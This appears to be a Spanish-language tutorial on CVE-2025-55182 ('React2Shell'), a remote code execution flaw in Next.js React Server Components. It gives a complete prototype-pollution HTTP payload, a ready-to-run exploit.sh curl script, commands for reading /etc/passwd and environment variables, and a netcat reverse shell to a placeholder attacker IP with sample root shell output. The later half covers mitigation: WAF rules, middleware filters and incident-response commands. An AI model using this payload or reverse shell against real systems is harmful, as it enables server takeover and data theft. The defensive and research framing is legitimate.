
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilizan React Server Components (RSC) y Server Actions.
⚠️ Descargo de responsabilidad: Esta documentación se proporciona solo con fines educativos y de investigación de seguridad. Cualquier uso no autorizado de estas técnicas contra sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas es ilegal.
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad crítica que afecta a aplicaciones Next.js que utilicen:
Un atacante puede lograr Ejecución Remota de Código (RCE) en el servidor explotando:
__proto__ y constructorConsecuencia: Se pueden ejecutar comandos arbitrarios del sistema con los privilegios del proceso de Node.js.
Next.js utiliza un protocolo multipart/form-data propietario para la comunicación entre cliente y servidor:
Cliente (Navegador)
↓
[payload RSC multipart/form-data]
↓
Servidor Next.js
↓
Deserialización + Ejecución
↓
Respuesta
La vulnerabilidad existe porque:
__proto__, constructor)Un atacante puede crear un payload que modifique propiedades internas de objetos:
{
"then": "$1:__proto__:then", // Apunta a la cadena de prototipos
"_response": {
"_prefix": "código malicioso aquí" // Inyección de código
}
}
Al explotar __proto__, el atacante contamina el prototipo de los objetos JavaScript, afectando a todos los objetos que heredan de él.
Dentro del campo _prefix, el atacante inyecta código JavaScript que:
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
El resultado del comando se oculta en la respuesta de error:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js devuelve este error al cliente y la salida del comando es visible en el campo digest.
# Clonar el PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Instalar Node.js 20
nvm install 20
nvm use 20
# Instalar dependencias
cd test-server
npm install
npm run dev
El servidor ahora es accesible en:
http://localhost:3000
curl http://localhost:3000/
En esta etapa, el servidor se comporta con normalidad.
http://localhost:3000/ en su navegadorSe interceptará una solicitud GET. Envíela a la pestaña Repeater:
Reemplace toda la solicitud con el siguiente payload:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Haga clic en Send
Cree un archivo exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Construir el payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Reemplazar el comando
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Enviar la solicitud
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Hágalo ejecutable:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Para obtener acceso interactivo completo a la shell, use una reverse shell.
ncat -lvnp 9009
O con netcat:
nc -lvnp 9009
Modifique el payload con el siguiente comando (reemplace <ATTACKER_IP> con su dirección IP):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
El payload completo queda:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Ahora tiene una shell completamente interactiva en el servidor objetivo.
Tras una explotación exitosa:
digest dentro de la respuesta de errorError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
Asegúrese de estar usando una versión parcheada de Next.js. Consulte los avisos de seguridad oficiales.
Agregue una validación estricta de los payloads RSC entrantes:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Rechazar payloads sospechosos
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Bloquear payloads que contengan patrones peligrosos
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SEGURIDAD] Intento de payload malicioso desde ${request.ip}`);
return new NextResponse('Prohibido', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
En next.config.js:
module.exports = {
experimental: {
serverActions: {
enabled: false // Deshabilitar si no es necesario
}
}
};
# Crear un usuario dedicado
useradd -r -s /bin/false nextjs
# Ejecutar el servicio bajo este usuario
sudo -u nextjs node server.js
# O con systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
Use Docker con capacidades restringidas:
FROM node:20-alpine
# Crear usuario no root
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
Ejecute el contenedor con capacidades restringidas:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
Implemente un registro completo:
// Middleware de registro personalizado
app.use((req, res, next) => {
// Registrar todas las solicitudes POST con cabecera Next-Action
if (req.method === 'POST' && req.headers['next-action']) {
const patronesSospechosos = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const esSospechoso = patronesSospechosos.some(pattern => bodyString.includes(pattern));
if (esSospechoso) {
console.error(`[ALERTA_SEGURIDAD] Intento de explotación detectado desde ${req.ip}`);
console.error(`[ALERTA_SEGURIDAD] User-Agent: ${req.get('user-agent')}`);
console.error(`[ALERTA_SEGURIDAD] Payload: ${bodyString.substring(0, 500)}`);
// Alertar al equipo de seguridad
// sendSecurityAlert(`Intento de explotación desde ${req.ip}`);
return res.status(403).json({ error: 'Prohibido' });
}
}
next();
});
Configure su WAF para bloquear:
Reglas ModSecurity:
# Bloquear __proto__ en el cuerpo de la solicitud
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Ataque de contaminación de prototipos'"
# Bloquear constructor en el cuerpo de la solicitud
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Ataque de contaminación de prototipos'"
# Bloquear acceso al módulo child_process
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Intento de ejecución de código'"
# Bloquear la función execSync
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Intento de ejecución de código'"
# Bloquear declaraciones require()
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Intento de carga de módulo'"
Ejemplo de AWS WAF:
{
"Name": "BloquearIntentosRCE",
"Rules": [
{
"Name": "BloquearContaminacionProto",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BloquearContaminacionProto"
}
}
]
}
Aunque CSP protege principalmente al lado del cliente, es una buena práctica:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Escanear dependencias en busca de vulnerabilidades
npm audit
npm audit fix
# Usar snyk para monitoreo continuo
snyk monitor
# Pruebas de penetración regulares
# Programar evaluaciones de seguridad trimestrales
Si sospecha de una explotación:
# 1. Revisar logs en busca de patrones sospechosos
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Verificar el historial de procesos
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Verificar conexiones de red
netstat -tuln
lsof -i -P -n
# 4. Aislar el sistema afectado
sudo iptables -I INPUT -j DROP
# 5. Preservar pruebas y logs
tar -czf /backup/incidente-$(date +%Y%m%d).tar.gz /var/log/
# 6. Notificar al equipo de seguridad y aplicar parches
{
// Paso 1: Apuntar a la cadena de prototipos
"then": "$1:__proto__:then",
// Paso 2: Marcar como modelo resuelto
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Paso 3: Inyectar código a través de _response
"_response": {
// El código JavaScript inyectado
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMANDO',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Referencia a los datos del formulario
"_chunks": "$Q2",
// Acceder al constructor a través de los datos del formulario
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 se resuelven a otros campos del formulario__proto__ modifica el prototipo del objeto_prefix se evalúa durante el manejo de erroresexecSync ejecuta el comando arbitrarioCVE-2025-55182 (React2Shell) demuestra riesgos críticos asociados con:
✅ Deserialización insegura de datos controlados por el usuario ✅ Contaminación de prototipos en cadenas de prototipos de JavaScript ✅ Ejecución dinámica de código sin validación adecuada
Esta vulnerabilidad refuerza la importancia de:
Licencia: Solo para uso educativo: el acceso no autorizado a sistemas informáticos es ilegal.
Para investigación de seguridad legítima y pruebas autorizadas, asegúrese de tener permiso por escrito del propietario del sistema antes de realizar cualquier prueba.